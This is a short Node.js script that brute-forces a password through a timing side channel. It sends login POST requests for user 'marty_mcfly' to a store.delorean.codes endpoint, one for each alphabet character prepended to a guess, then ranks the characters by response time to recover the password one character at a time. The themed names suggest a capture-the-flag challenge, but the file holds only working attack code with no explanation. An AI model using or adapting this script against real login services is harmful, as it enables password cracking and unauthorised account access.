// @flow

const fetch = require('node-fetch')
const URI = 'https://store.delorean.codes/u/robertadkins/login'
const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'

async function main() {
  const res = await crack('aaaaa');
  console.log(res)
}

async function crack(str) {
  const pws = alphabet.split('').map(c => c + str);
  const times = await Promise.all(pws.map(p => req(p)))

  const results = pws
    .map((x, i) => [x, times[i]])
    .sort((a, b) => b[1] - a[1])

  return results;
}

function req(password) {
  const body = {
    username: 'marty_mcfly',
    password: password
  }
  const opts = {
    method: 'POST',
    body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    }
  }
  const now = Date.now()
  const res = fetch(URI, opts)
  return res.then(() => Date.now() - now)
}

main()
  .then(() => console.log('done'))